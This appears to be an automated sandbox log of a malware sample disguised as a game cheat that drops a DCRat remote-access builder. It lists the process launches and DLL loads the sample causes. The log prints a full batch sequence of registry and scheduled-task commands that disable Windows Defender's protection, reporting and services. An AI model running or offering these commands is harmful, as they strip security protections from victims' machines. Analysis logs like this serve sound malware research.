Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Process created: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe "C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe"
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process created: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe "C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process created: C:\Windows\System32\wbem\WMIC.exe "wmic.exe" csproduct get uuid
Source: C:\Windows\System32\wbem\WMIC.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\blockweb\portrefNet.exe "C:\blockweb\portrefNet.exe"
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process created: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe "C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe" Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\windows defender.bat" " Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Process created: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe "C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Process created: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe "C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Process created: C:\Windows\System32\wbem\WMIC.exe "wmic.exe" csproduct get uuid Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" " Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\blockweb\portrefNet.exe "C:\blockweb\portrefNet.exe"
Source: C:\blockweb\portrefNet.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\FixTsDfhiC.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheatV2.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Lunch LaCheat.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: <pi-ms-win-core-synch-l1-2-0.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: <pi-ms-win-core-localization-l1-2-1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: dxgidebug.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\52cheatand52rat.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Section loaded: amsi.dll Jump to behavior
